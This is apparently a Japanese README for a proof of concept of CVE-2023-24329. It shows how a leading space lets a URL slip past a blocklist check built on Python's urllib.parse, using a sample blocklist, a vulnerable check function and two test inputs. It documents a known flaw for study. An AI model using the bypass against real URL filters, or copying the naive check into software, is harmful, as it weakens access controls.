
Pythonのurllib.parse(CVE-2023-24329)におけるURL解析バイパスを実証する概念実証コードで、先頭にスペースを付加することでブロックリストを回避できます。
URL解析関数は、URL文字列をその構成要素に分割したり、URL構成要素をURL文字列に結合したりすることに焦点を当てています。
単純に urllib.parse はURLの解析に使用されますが、URLの前に空白を追加することでこれをバイパスできます。これはPython 3.11.4 以前で発生します。
example.py を分解してみましょう
アクセスしてはいけないウェブサイトのセットは次のとおりです:
blocked_list = [
"http://example.com/",
"http://example2.com/"
]
この関数は、ウェブサイトがブロックリストに含まれているかどうかをチェックし、ブロックリストに含まれている場合は URL Blocked を返す必要があります。
def is_url_blocked(url):
parse = urllib.parse.urlparse(url).geturl()
if parse in blocked_list: return 'URL Blocked'
else: return 'Bypassed'
次に、2つのURLを追加し、それらのいずれかがブロックされてアクセスできないかどうかを確認します:
payload1 = " http://example.com/"
payload2 = "http://example.com/"
print(
is_url_blocked(payload1),
"\n",
is_url_blocked(payload2)
)
payload1 は、URLの前に長い空白を追加すると urllib.parse.urlparse(url).geturl() がバイパスされ、期待どおりに実行されないため、is_url_blocked() をバイパスした場所です。
そのため、出力は次のようになります。
Bypassed
しかし、payload2 では次のようになります。
URL Blocked
寄付で私を支援したい場合は、本当に必要としている人に寄付することをお勧めします。そうしていただければ、あなたの支援を得たものと考えます。